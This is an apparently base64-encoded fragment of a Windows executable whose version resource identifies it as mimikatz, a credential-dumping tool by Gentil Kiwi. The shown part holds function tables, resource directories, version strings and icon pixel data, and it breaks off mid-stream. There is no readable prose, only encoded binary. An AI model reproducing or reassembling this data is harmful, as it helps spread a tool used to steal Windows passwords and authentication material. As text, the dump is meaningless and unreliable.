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AEFABACBQAobAYAHAIFAFYCBQAobAYAZAIFAJYCBQAobAYA1AIFACgDBQAIGwYA4AMFABoEBQAobAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwADAAAAKAAAgA4AAACYAACAEAAAAMgAAIAAAAAAAAAAAAAAAAAAAAwAAQAAAOAAAIACAAAA+AAAgAMAAAAQAQCABAAAACgBAIAFAAAAQAEAgAYAAABYAQCABwAAAHABAIAIAAAAiAEAgAkAAACgAQCACgAAALgBAIALAAAA0AEAgAwAAADoAQCAAAAAAAAAAAAAAAAAAAAEAGQAAAAAAgCAyQAAABgCAIDKAAAAMAIAgMsAAABIAgCAAAAAAAAAAAAAAAAAAAABAAEAAABgAgCAAAAAAAAAAAAAAAAAAAABAAwEAAB4AgAAAAAAAAAAAAAAAAAAAAABAAwEAACIAgAAAAAAAAAAAAAAAAAAAAABAAwEAACYAgAAAAAAAAAAAAAAAAAAAAABAAwEAACoAgAAAAAAAAAAAAAAAAAAAAABAAwEAAC4AgAAAAAAAAAAAAAAAAAAAAABAAwEAADIAgAAAAAAAAAAAAAAAAAAAAABAAwEAADYAgAAAAAAAAAAAAAAAAAAAAABAAwEAADoAgAAAAAAAAAAAAAAAAAAAAABAAwEAAD4AgAAAAAAAAAAAAAAAAAAAAABAAwEAAAIAwAAAAAAAAAAAAAAAAAAAAABAAwEAAAYAwAAAAAAAAAAAAAAAAAAAAABAAwEAAAoAwAAAAAAAAAAAAAAAAAAAAABAAwEAAA4AwAAAAAAAAAAAAAAAAAAAAABAAwEAABIAwAAAAAAAAAAAAAAAAAAAAABAAwEAABYAwAAAAAAAAAAAAAAAAAAAAABAAwEAABoAwAAAAAAAAAAAAAAAAAAAAABAAwEAAB4AwAAKDYHAKglAAAAAAAAAAAAANBbBwCoEAAAAAAAAAAAAAB4bAcAaAQAAAAAAAAAAAAAEHEHAKglAAAAAAAAAAAAALiWBwCoEAAAAAAAAAAAAABgpwcAaAQAAAAAAAAAAAAA+KsHAKglAAAAAAAAAAAAAKDRBwCoEAAAAAAAAAAAAABI4gcAaAQAAAAAAAAAAAAA4OYHAKglAAAAAAAAAAAAAIgMCACoEAAAAAAAAAAAAAAwHQgAaAQAAAAAAAAAAAAA4HAHADAAAAAAAAAAAAAAAMirBwAwAAAAAAAAAAAAAACw5gcAMAAAAAAAAAAAAAAAmCEIADAAAAAAAAAAAAAAAJAzBwCYAgAAAAAAAAAAAAAAAAAAAAAAAJgCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQABAABAAAAAAAAAAAAAAAAAAAA+AEAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAA1AEAAAEAMAA0ADAAYwAwADQAYgAwAAAAOAAMAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABHAGUAbgB0AGkAbAAgAEsAaQB3AGkAAABUABYAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAcABvAHUAcgAgAFcAaQBuAGQAbwB3AHMAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAAAyAAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAG0AaQBtAGkAawBhAHQAegAAAAAAYgAfAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAxADIAIABHAGUAbgB0AGkAbAAgAEsAaQB3AGkAAAAAADIACQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAwEsAQoAAAAMAAAAGAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFT9iAAoFAQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsAFkJnAAoGAwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACQMAAAsKCQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAgsLCwQLCwsJCwsLDgsLCxMLCwsXCwsLGgsLCxcLCwsTCwsLDQsLCwULCwsCCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwoJAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLBwsLCxYLCwsnCwsLOAsJCT8LCQdFCwkHTQsJB1kLCQdkCwkJcAsLCXsLCwuFCwsMigsLDIkLCwt/CwsLcwsLC2ULCwtWCwsLSQsLC0ALCws6CwsLLgsLCxwLCwsKCwsLAAsLCwALCwsACwsLAAsLCwALCwsAC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